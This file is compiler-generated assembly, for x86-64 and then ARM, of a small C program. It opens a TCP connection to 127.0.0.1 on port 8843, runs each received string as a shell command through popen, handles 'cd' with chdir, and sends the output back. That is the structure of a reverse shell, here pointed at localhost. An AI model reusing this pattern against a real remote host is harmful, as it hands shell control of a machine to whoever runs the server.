	.file	"682670.c"
	.intel_syntax noprefix
	.text
	.section	.rodata
.LC1:
	.string	"r"
	.text
	.globl	exec_subproc
	.type	exec_subproc, @function
exec_subproc:
.LFB6:
	.cfi_startproc
	endbr64
	push	rbp
	.cfi_def_cfa_offset 16
	.cfi_offset 6, -16
	mov	rbp, rsp
	.cfi_def_cfa_register 6
	push	r15
	push	r14
	push	r13
	push	r12
	push	rbx
	sub	rsp, 88
	.cfi_offset 15, -24
	.cfi_offset 14, -32
	.cfi_offset 13, -40
	.cfi_offset 12, -48
	.cfi_offset 3, -56
	mov	QWORD PTR -120[rbp], rdi
	mov	rax, QWORD PTR fs:40
	mov	QWORD PTR -56[rbp], rax
	xor	eax, eax
	mov	rax, rsp
	mov	rbx, rax
	mov	DWORD PTR -96[rbp], 100
	movss	xmm0, DWORD PTR .LC0[rip]
	movss	DWORD PTR -92[rbp], xmm0
	mov	DWORD PTR -100[rbp], 100
	mov	eax, DWORD PTR -100[rbp]
	cdqe
	mov	rdi, rax
	call	malloc@PLT
	mov	QWORD PTR -88[rbp], rax
	mov	DWORD PTR -104[rbp], 0
	mov	rax, QWORD PTR -120[rbp]
	lea	rsi, .LC1[rip]
	mov	rdi, rax
	call	popen@PLT
	mov	QWORD PTR -80[rbp], rax
	mov	eax, DWORD PTR -96[rbp]
	cdqe
	sub	rax, 1
	mov	QWORD PTR -72[rbp], rax
	mov	eax, DWORD PTR -96[rbp]
	cdqe
	mov	r14, rax
	mov	r15d, 0
	mov	eax, DWORD PTR -96[rbp]
	cdqe
	mov	r12, rax
	mov	r13d, 0
	mov	eax, DWORD PTR -96[rbp]
	cdqe
	mov	edx, 16
	sub	rdx, 1
	add	rax, rdx
	mov	esi, 16
	mov	edx, 0
	div	rsi
	imul	rax, rax, 16
	mov	rcx, rax
	and	rcx, -4096
	mov	rdx, rsp
	sub	rdx, rcx
.L2:
	cmp	rsp, rdx
	je	.L3
	sub	rsp, 4096
	or	QWORD PTR 4088[rsp], 0
	jmp	.L2
.L3:
	mov	rdx, rax
	and	edx, 4095
	sub	rsp, rdx
	mov	rdx, rax
	and	edx, 4095
	test	rdx, rdx
	je	.L4
	and	eax, 4095
	sub	rax, 8
	add	rax, rsp
	or	QWORD PTR [rax], 0
.L4:
	mov	rax, rsp
	add	rax, 0
	mov	QWORD PTR -64[rbp], rax
	jmp	.L5
.L7:
	mov	eax, DWORD PTR -100[rbp]
	sub	eax, DWORD PTR -104[rbp]
	cmp	DWORD PTR -96[rbp], eax
	jle	.L6
	pxor	xmm0, xmm0
	cvtsi2ss	xmm0, DWORD PTR -100[rbp]
	mulss	xmm0, DWORD PTR -92[rbp]
	movd	eax, xmm0
	movd	xmm0, eax
	call	ceilf@PLT
	cvttss2si	eax, xmm0
	mov	DWORD PTR -100[rbp], eax
	mov	eax, DWORD PTR -100[rbp]
	movsx	rdx, eax
	mov	rax, QWORD PTR -88[rbp]
	mov	rsi, rdx
	mov	rdi, rax
	call	realloc@PLT
	mov	QWORD PTR -88[rbp], rax
.L6:
	mov	eax, DWORD PTR -104[rbp]
	movsx	rdx, eax
	mov	rax, QWORD PTR -88[rbp]
	add	rdx, rax
	mov	rax, QWORD PTR -64[rbp]
	mov	rsi, rax
	mov	rdi, rdx
	call	strcpy@PLT
	mov	rax, QWORD PTR -64[rbp]
	mov	rdi, rax
	call	strlen@PLT
	add	DWORD PTR -104[rbp], eax
.L5:
	mov	rdx, QWORD PTR -80[rbp]
	mov	ecx, DWORD PTR -96[rbp]
	mov	rax, QWORD PTR -64[rbp]
	mov	esi, ecx
	mov	rdi, rax
	call	fgets@PLT
	test	rax, rax
	jne	.L7
	mov	rax, QWORD PTR -80[rbp]
	mov	rdi, rax
	call	pclose@PLT
	mov	QWORD PTR -80[rbp], 0
	mov	rax, QWORD PTR -88[rbp]
	mov	rsp, rbx
	mov	rbx, QWORD PTR -56[rbp]
	sub	rbx, QWORD PTR fs:40
	je	.L9
	call	__stack_chk_fail@PLT
.L9:
	lea	rsp, -40[rbp]
	pop	rbx
	pop	r12
	pop	r13
	pop	r14
	pop	r15
	pop	rbp
	.cfi_def_cfa 7, 8
	ret
	.cfi_endproc
.LFE6:
	.size	exec_subproc, .-exec_subproc
	.section	.rodata
.LC2:
	.string	"cd "
	.text
	.globl	execute
	.type	execute, @function
execute:
.LFB7:
	.cfi_startproc
	endbr64
	push	rbp
	.cfi_def_cfa_offset 16
	.cfi_offset 6, -16
	mov	rbp, rsp
	.cfi_def_cfa_register 6
	push	rbx
	sub	rsp, 72
	.cfi_offset 3, -24
	mov	QWORD PTR -72[rbp], rdi
	mov	rax, QWORD PTR fs:40
	mov	QWORD PTR -24[rbp], rax
	xor	eax, eax
	mov	rax, QWORD PTR -72[rbp]
	mov	edx, 3
	lea	rsi, .LC2[rip]
	mov	rdi, rax
	call	strncmp@PLT
	test	eax, eax
	jne	.L11
	mov	rax, QWORD PTR -72[rbp]
	mov	rdi, rax
	call	strlen@PLT
	cmp	rax, 3
	jbe	.L11
	mov	edi, 30
	call	malloc@PLT
	mov	QWORD PTR -64[rbp], rax
	mov	rax, QWORD PTR -72[rbp]
	add	rax, 3
	mov	rdi, rax
	call	chdir@PLT
	test	eax, eax
	jne	.L12
	mov	rax, QWORD PTR -64[rbp]
	movabs	rcx, 7214878097955448899
	movabs	rbx, 8751179571608777321
	mov	QWORD PTR [rax], rcx
	mov	QWORD PTR 8[rax], rbx
	movabs	rdx, 8319104414228247328
	mov	QWORD PTR 16[rax], rdx
	mov	DWORD PTR 24[rax], 7107942
	jmp	.L14
.L12:
	mov	rax, QWORD PTR -64[rbp]
	movabs	rcx, 7214878097955448899
	movabs	rbx, 8751179571608777321
	mov	QWORD PTR [rax], rcx
	mov	QWORD PTR 8[rax], rbx
	movabs	rsi, 7166760965259619872
	movabs	rdi, 30528380368807267
	mov	QWORD PTR 16[rax], rsi
	mov	QWORD PTR 24[rax], rdi
	jmp	.L14
.L11:
	movabs	rax, 2334111871611531107
	mov	QWORD PTR -36[rbp], rax
	mov	DWORD PTR -28[rbp], 2127405
	lea	rax, -36[rbp]
	mov	rdi, rax
	call	strlen@PLT
	mov	rbx, rax
	mov	rax, QWORD PTR -72[rbp]
	mov	rdi, rax
	call	strlen@PLT
	add	rax, rbx
	mov	rdi, rax
	call	malloc@PLT
	mov	QWORD PTR -56[rbp], rax
	lea	rdx, -36[rbp]
	mov	rax, QWORD PTR -56[rbp]
	mov	rsi, rdx
	mov	rdi, rax
	call	strcpy@PLT
	mov	rdx, QWORD PTR -72[rbp]
	mov	rax, QWORD PTR -56[rbp]
	mov	rsi, rdx
	mov	rdi, rax
	call	strcat@PLT
	mov	rax, QWORD PTR -56[rbp]
	mov	rdi, rax
	call	exec_subproc
	mov	QWORD PTR -48[rbp], rax
	mov	rax, QWORD PTR -48[rbp]
	movzx	eax, BYTE PTR [rax]
	test	al, al
	jne	.L15
	mov	rax, QWORD PTR -48[rbp]
	mov	rdi, rax
	call	free@PLT
	mov	edi, 38
	call	malloc@PLT
	mov	QWORD PTR -64[rbp], rax
	mov	rax, QWORD PTR -64[rbp]
	movabs	rcx, 2334111871611531075
	movabs	rbx, 28263411883601513
	mov	QWORD PTR [rax], rcx
	mov	QWORD PTR 8[rax], rbx
	mov	rax, QWORD PTR -64[rbp]
	jmp	.L16
.L15:
	mov	rax, QWORD PTR -72[rbp]
	mov	rdi, rax
	call	exec_subproc
	mov	QWORD PTR -64[rbp], rax
.L14:
	mov	rax, QWORD PTR -64[rbp]
.L16:
	mov	rsi, QWORD PTR -24[rbp]
	sub	rsi, QWORD PTR fs:40
	je	.L17
	call	__stack_chk_fail@PLT
.L17:
	mov	rbx, QWORD PTR -8[rbp]
	leave
	.cfi_def_cfa 7, 8
	ret
	.cfi_endproc
.LFE7:
	.size	execute, .-execute
	.section	.rodata
.LC3:
	.string	"Could not create socket"
.LC4:
	.string	"127.0.0.1"
.LC5:
	.string	"Could not connect to remote"
	.text
	.globl	connect_socket
	.type	connect_socket, @function
connect_socket:
.LFB8:
	.cfi_startproc
	endbr64
	push	rbp
	.cfi_def_cfa_offset 16
	.cfi_offset 6, -16
	mov	rbp, rsp
	.cfi_def_cfa_register 6
	sub	rsp, 48
	mov	rax, QWORD PTR fs:40
	mov	QWORD PTR -8[rbp], rax
	xor	eax, eax
	mov	edx, 0
	mov	esi, 1
	mov	edi, 2
	call	socket@PLT
	mov	DWORD PTR -36[rbp], eax
	cmp	DWORD PTR -36[rbp], -1
	jne	.L19
	lea	rdi, .LC3[rip]
	call	puts@PLT
	mov	eax, -1
	jmp	.L22
.L19:
	lea	rdi, .LC4[rip]
	call	inet_addr@PLT
	mov	DWORD PTR -28[rbp], eax
	mov	WORD PTR -32[rbp], 2
	mov	edi, 8843
	call	htons@PLT
	mov	WORD PTR -30[rbp], ax
	lea	rcx, -32[rbp]
	mov	eax, DWORD PTR -36[rbp]
	mov	edx, 16
	mov	rsi, rcx
	mov	edi, eax
	call	connect@PLT
	test	eax, eax
	jns	.L21
	lea	rdi, .LC5[rip]
	call	puts@PLT
	mov	eax, -1
	jmp	.L22
.L21:
	mov	eax, DWORD PTR -36[rbp]
.L22:
	mov	rdx, QWORD PTR -8[rbp]
	sub	rdx, QWORD PTR fs:40
	je	.L23
	call	__stack_chk_fail@PLT
.L23:
	leave
	.cfi_def_cfa 7, 8
	ret
	.cfi_endproc
.LFE8:
	.size	connect_socket, .-connect_socket
	.section	.rodata
	.align 8
.LC6:
	.string	"Error while receiving from server"
.LC7:
	.string	"Error while sending"
	.text
	.globl	main
	.type	main, @function
main:
.LFB9:
	.cfi_startproc
	endbr64
	push	rbp
	.cfi_def_cfa_offset 16
	.cfi_offset 6, -16
	mov	rbp, rsp
	.cfi_def_cfa_register 6
	sub	rsp, 1056
	mov	rax, QWORD PTR fs:40
	mov	QWORD PTR -8[rbp], rax
	xor	eax, eax
	call	connect_socket
	mov	DWORD PTR -1052[rbp], eax
.L28:
	lea	rsi, -1040[rbp]
	mov	eax, DWORD PTR -1052[rbp]
	mov	ecx, 0
	mov	edx, 1024
	mov	edi, eax
	call	recv@PLT
	test	rax, rax
	jns	.L25
	lea	rdi, .LC6[rip]
	call	puts@PLT
	mov	eax, -1
	jmp	.L29
.L25:
	lea	rax, -1040[rbp]
	mov	rdi, rax
	call	execute
	mov	QWORD PTR -1048[rbp], rax
	mov	rax, QWORD PTR -1048[rbp]
	mov	rdi, rax
	call	strlen@PLT
	mov	rdx, rax
	mov	rsi, QWORD PTR -1048[rbp]
	mov	eax, DWORD PTR -1052[rbp]
	mov	ecx, 0
	mov	edi, eax
	call	send@PLT
	test	rax, rax
	jns	.L27
	lea	rdi, .LC7[rip]
	call	puts@PLT
	mov	eax, -1
	jmp	.L29
.L27:
	lea	rax, -1040[rbp]
	mov	edx, 1024
	mov	esi, 0
	mov	rdi, rax
	call	memset@PLT
	mov	rax, QWORD PTR -1048[rbp]
	mov	rdi, rax
	call	free@PLT
	mov	QWORD PTR -1048[rbp], 0
	jmp	.L28
.L29:
	mov	rcx, QWORD PTR -8[rbp]
	sub	rcx, QWORD PTR fs:40
	je	.L30
	call	__stack_chk_fail@PLT
.L30:
	leave
	.cfi_def_cfa 7, 8
	ret
	.cfi_endproc
.LFE9:
	.size	main, .-main
	.section	.rodata
	.align 4
.LC0:
	.long	1073741824
	.ident	"GCC: (Ubuntu 10.5.0-1ubuntu1~20.04) 10.5.0"
	.section	.note.GNU-stack,"",@progbits
	.section	.note.gnu.property,"a"
	.align 8
	.long	 1f - 0f
	.long	 4f - 1f
	.long	 5
0:
	.string	 "GNU"
1:
	.align 8
	.long	 0xc0000002
	.long	 3f - 2f
2:
	.long	 0x3
3:
	.align 8
4:

	.arch armv5t
	.eabi_attribute 20, 1
	.eabi_attribute 21, 1
	.eabi_attribute 23, 3
	.eabi_attribute 24, 1
	.eabi_attribute 25, 1
	.eabi_attribute 26, 2
	.eabi_attribute 30, 6
	.eabi_attribute 34, 0
	.eabi_attribute 18, 4
	.file	"682670.c"
	.text
	.section	.rodata
	.align	2
.LC0:
	.ascii	"r\000"
	.global	__aeabi_i2f
	.global	__aeabi_fmul
	.global	__aeabi_f2iz
	.align	2
.LC1:
	.word	__stack_chk_guard
	.text
	.align	2
	.global	exec_subproc
	.syntax unified
	.arm
	.fpu softvfp
	.type	exec_subproc, %function
exec_subproc:
	@ args = 0, pretend = 0, frame = 48
	@ frame_needed = 1, uses_anonymous_args = 0
	push	{r4, fp, lr}
	add	fp, sp, #8
	sub	sp, sp, #52
	str	r0, [fp, #-56]
	ldr	r3, .L7
	ldr	r3, [r3]
	str	r3, [fp, #-16]
	mov	r3,#0
	mov	r3, sp
	mov	r4, r3
	mov	r3, #100
	str	r3, [fp, #-36]
	mov	r3, #1073741824
	str	r3, [fp, #-32]	@ float
	mov	r3, #100
	str	r3, [fp, #-40]
	ldr	r3, [fp, #-40]
	mov	r0, r3
	bl	malloc
	mov	r3, r0
	str	r3, [fp, #-44]
	mov	r3, #0
	str	r3, [fp, #-48]
	ldr	r1, .L7+4
	ldr	r0, [fp, #-56]
	bl	popen
	str	r0, [fp, #-28]
	ldr	r3, [fp, #-36]
	sub	r3, r3, #1
	str	r3, [fp, #-24]
	ldr	r3, [fp, #-36]
	mov	r0, r3
	mov	r1, #0
	mov	r2, #0
	mov	r3, #0
	lsl	r3, r1, #3
	orr	r3, r3, r0, lsr #29
	lsl	r2, r0, #3
	ldr	r3, [fp, #-36]
	mov	r0, r3
	mov	r1, #0
	mov	r2, #0
	mov	r3, #0
	lsl	r3, r1, #3
	orr	r3, r3, r0, lsr #29
	lsl	r2, r0, #3
	ldr	r3, [fp, #-36]
	add	r3, r3, #7
	lsr	r3, r3, #3
	lsl	r3, r3, #3
	sub	sp, sp, r3
	mov	r3, sp
	add	r3, r3, #0
	str	r3, [fp, #-20]
	b	.L2
.L4:
	ldr	r2, [fp, #-40]
	ldr	r3, [fp, #-48]
	sub	r3, r2, r3
	ldr	r2, [fp, #-36]
	cmp	r2, r3
	ble	.L3
	ldr	r0, [fp, #-40]
	bl	__aeabi_i2f
	mov	r3, r0
	ldr	r1, [fp, #-32]	@ float
	mov	r0, r3
	bl	__aeabi_fmul
	mov	r3, r0
	mov	r0, r3
	bl	ceilf
	mov	r3, r0
	mov	r0, r3
	bl	__aeabi_f2iz
	mov	r3, r0
	str	r3, [fp, #-40]
	ldr	r3, [fp, #-40]
	mov	r1, r3
	ldr	r0, [fp, #-44]
	bl	realloc
	str	r0, [fp, #-44]
.L3:
	ldr	r3, [fp, #-48]
	ldr	r2, [fp, #-44]
	add	r3, r2, r3
	ldr	r1, [fp, #-20]
	mov	r0, r3
	bl	strcpy
	ldr	r0, [fp, #-20]
	bl	strlen
	mov	r3, r0
	mov	r2, r3
	ldr	r3, [fp, #-48]
	add	r3, r3, r2
	str	r3, [fp, #-48]
.L2:
	ldr	r2, [fp, #-28]
	ldr	r1, [fp, #-36]
	ldr	r0, [fp, #-20]
	bl	fgets
	mov	r3, r0
	cmp	r3, #0
	bne	.L4
	ldr	r0, [fp, #-28]
	bl	pclose
	mov	r3, #0
	str	r3, [fp, #-28]
	ldr	r3, [fp, #-44]
	mov	sp, r4
	ldr	r2, .L7
	ldr	r1, [r2]
	ldr	r2, [fp, #-16]
	eors	r1, r2, r1
	mov	r2, #0
	beq	.L6
	bl	__stack_chk_fail
.L6:
	mov	r0, r3
	sub	sp, fp, #8
	@ sp needed
	pop	{r4, fp, pc}
.L8:
	.align	2
.L7:
	.word	.LC1
	.word	.LC0
	.size	exec_subproc, .-exec_subproc
	.section	.rodata
	.align	2
.LC2:
	.ascii	"cd \000"
	.align	2
.LC3:
	.ascii	"Change directory successful\000"
	.align	2
.LC4:
	.ascii	"Change directory not successful\000"
	.align	2
.LC6:
	.ascii	"Command invalid\000"
	.align	2
.LC5:
	.ascii	"command -v \000"
	.align	2
.LC7:
	.word	__stack_chk_guard
	.text
	.align	2
	.global	execute
	.syntax unified
	.arm
	.fpu softvfp
	.type	execute, %function
execute:
	@ args = 0, pretend = 0, frame = 40
	@ frame_needed = 1, uses_anonymous_args = 0
	push	{r4, fp, lr}
	add	fp, sp, #8
	sub	sp, sp, #44
	str	r0, [fp, #-48]
	ldr	r3, .L17
	ldr	r3, [r3]
	str	r3, [fp, #-16]
	mov	r3,#0
	mov	r2, #3
	ldr	r1, .L17+4
	ldr	r0, [fp, #-48]
	bl	strncmp
	mov	r3, r0
	cmp	r3, #0
	bne	.L10
	ldr	r0, [fp, #-48]
	bl	strlen
	mov	r3, r0
	cmp	r3, #3
	bls	.L10
	mov	r0, #30
	bl	malloc
	mov	r3, r0
	str	r3, [fp, #-40]
	ldr	r3, [fp, #-48]
	add	r3, r3, #3
	mov	r0, r3
	bl	chdir
	mov	r3, r0
	cmp	r3, #0
	bne	.L11
	ldr	r3, [fp, #-40]
	ldr	r2, .L17+8
	mov	r0, r3
	mov	r1, r2
	mov	r3, #28
	mov	r2, r3
	bl	memcpy
	b	.L13
.L11:
	ldr	r3, [fp, #-40]
	ldr	r2, .L17+12
	mov	r0, r3
	mov	r1, r2
	mov	r3, #32
	mov	r2, r3
	bl	memcpy
	b	.L13
.L10:
	ldr	r2, .L17+16
	sub	r3, fp, #28
	ldm	r2, {r0, r1, r2}
	stm	r3, {r0, r1, r2}
	sub	r3, fp, #28
	mov	r0, r3
	bl	strlen
	mov	r4, r0
	ldr	r0, [fp, #-48]
	bl	strlen
	mov	r3, r0
	add	r3, r4, r3
	mov	r0, r3
	bl	malloc
	mov	r3, r0
	str	r3, [fp, #-36]
	sub	r3, fp, #28
	mov	r1, r3
	ldr	r0, [fp, #-36]
	bl	strcpy
	ldr	r1, [fp, #-48]
	ldr	r0, [fp, #-36]
	bl	strcat
	ldr	r0, [fp, #-36]
	bl	exec_subproc
	str	r0, [fp, #-32]
	ldr	r3, [fp, #-32]
	ldrb	r3, [r3]	@ zero_extendqisi2
	cmp	r3, #0
	bne	.L14
	ldr	r0, [fp, #-32]
	bl	free
	mov	r0, #38
	bl	malloc
	mov	r3, r0
	str	r3, [fp, #-40]
	ldr	r3, [fp, #-40]
	ldr	r2, .L17+20
	mov	r0, r3
	mov	r1, r2
	mov	r3, #16
	mov	r2, r3
	bl	memcpy
	ldr	r3, [fp, #-40]
	b	.L15
.L14:
	ldr	r0, [fp, #-48]
	bl	exec_subproc
	str	r0, [fp, #-40]
.L13:
	ldr	r3, [fp, #-40]
.L15:
	ldr	r2, .L17
	ldr	r1, [r2]
	ldr	r2, [fp, #-16]
	eors	r1, r2, r1
	mov	r2, #0
	beq	.L16
	bl	__stack_chk_fail
.L16:
	mov	r0, r3
	sub	sp, fp, #8
	@ sp needed
	pop	{r4, fp, pc}
.L18:
	.align	2
.L17:
	.word	.LC7
	.word	.LC2
	.word	.LC3
	.word	.LC4
	.word	.LC5
	.word	.LC6
	.size	execute, .-execute
	.section	.rodata
	.align	2
.LC8:
	.ascii	"Could not create socket\000"
	.align	2
.LC9:
	.ascii	"127.0.0.1\000"
	.align	2
.LC10:
	.ascii	"Could not connect to remote\000"
	.align	2
.LC11:
	.word	__stack_chk_guard
	.text
	.align	2
	.global	connect_socket
	.syntax unified
	.arm
	.fpu softvfp
	.type	connect_socket, %function
connect_socket:
	@ args = 0, pretend = 0, frame = 24
	@ frame_needed = 1, uses_anonymous_args = 0
	push	{fp, lr}
	add	fp, sp, #4
	sub	sp, sp, #24
	ldr	r3, .L25
	ldr	r3, [r3]
	str	r3, [fp, #-8]
	mov	r3,#0
	mov	r2, #0
	mov	r1, #1
	mov	r0, #2
	bl	socket
	str	r0, [fp, #-28]
	ldr	r3, [fp, #-28]
	cmn	r3, #1
	bne	.L20
	ldr	r0, .L25+4
	bl	puts
	mvn	r3, #0
	b	.L23
.L20:
	ldr	r0, .L25+8
	bl	inet_addr
	mov	r3, r0
	str	r3, [fp, #-20]
	mov	r3, #2
	strh	r3, [fp, #-24]	@ movhi
	ldr	r0, .L25+12
	bl	htons
	mov	r3, r0
	strh	r3, [fp, #-22]	@ movhi
	sub	r3, fp, #24
	mov	r2, #16
	mov	r1, r3
	ldr	r0, [fp, #-28]
	bl	connect
	mov	r3, r0
	cmp	r3, #0
	bge	.L22
	ldr	r0, .L25+16
	bl	puts
	mvn	r3, #0
	b	.L23
.L22:
	ldr	r3, [fp, #-28]
.L23:
	ldr	r2, .L25
	ldr	r1, [r2]
	ldr	r2, [fp, #-8]
	eors	r1, r2, r1
	mov	r2, #0
	beq	.L24
	bl	__stack_chk_fail
.L24:
	mov	r0, r3
	sub	sp, fp, #4
	@ sp needed
	pop	{fp, pc}
.L26:
	.align	2
.L25:
	.word	.LC11
	.word	.LC8
	.word	.LC9
	.word	8843
	.word	.LC10
	.size	connect_socket, .-connect_socket
	.section	.rodata
	.align	2
.LC12:
	.ascii	"Error while receiving from server\000"
	.align	2
.LC13:
	.ascii	"Error while sending\000"
	.align	2
.LC14:
	.word	__stack_chk_guard
	.text
	.align	2
	.global	main
	.syntax unified
	.arm
	.fpu softvfp
	.type	main, %function
main:
	@ args = 0, pretend = 0, frame = 1040
	@ frame_needed = 1, uses_anonymous_args = 0
	push	{fp, lr}
	add	fp, sp, #4
	sub	sp, sp, #1040
	ldr	r3, .L34
	ldr	r3, [r3]
	str	r3, [fp, #-8]
	mov	r3,#0
	bl	connect_socket
	str	r0, [fp, #-1040]
.L31:
	sub	r1, fp, #1024
	sub	r1, r1, #4
	sub	r1, r1, #4
	mov	r3, #0
	mov	r2, #1024
	ldr	r0, [fp, #-1040]
	bl	recv
	mov	r3, r0
	cmp	r3, #0
	bge	.L28
	ldr	r0, .L34+4
	bl	puts
	mvn	r3, #0
	b	.L32
.L28:
	sub	r3, fp, #1024
	sub	r3, r3, #4
	sub	r3, r3, #4
	mov	r0, r3
	bl	execute
	str	r0, [fp, #-1036]
	ldr	r0, [fp, #-1036]
	bl	strlen
	mov	r2, r0
	mov	r3, #0
	ldr	r1, [fp, #-1036]
	ldr	r0, [fp, #-1040]
	bl	send
	mov	r3, r0
	cmp	r3, #0
	bge	.L30
	ldr	r0, .L34+8
	bl	puts
	mvn	r3, #0
	b	.L32
.L30:
	sub	r3, fp, #1024
	sub	r3, r3, #4
	sub	r3, r3, #4
	mov	r2, #1024
	mov	r1, #0
	mov	r0, r3
	bl	memset
	ldr	r0, [fp, #-1036]
	bl	free
	mov	r3, #0
	str	r3, [fp, #-1036]
	b	.L31
.L32:
	ldr	r2, .L34
	ldr	r1, [r2]
	ldr	r2, [fp, #-8]
	eors	r1, r2, r1
	mov	r2, #0
	beq	.L33
	bl	__stack_chk_fail
.L33:
	mov	r0, r3
	sub	sp, fp, #4
	@ sp needed
	pop	{fp, pc}
.L35:
	.align	2
.L34:
	.word	.LC14
	.word	.LC12
	.word	.LC13
	.size	main, .-main
	.ident	"GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
	.section	.note.GNU-stack,"",%progbits
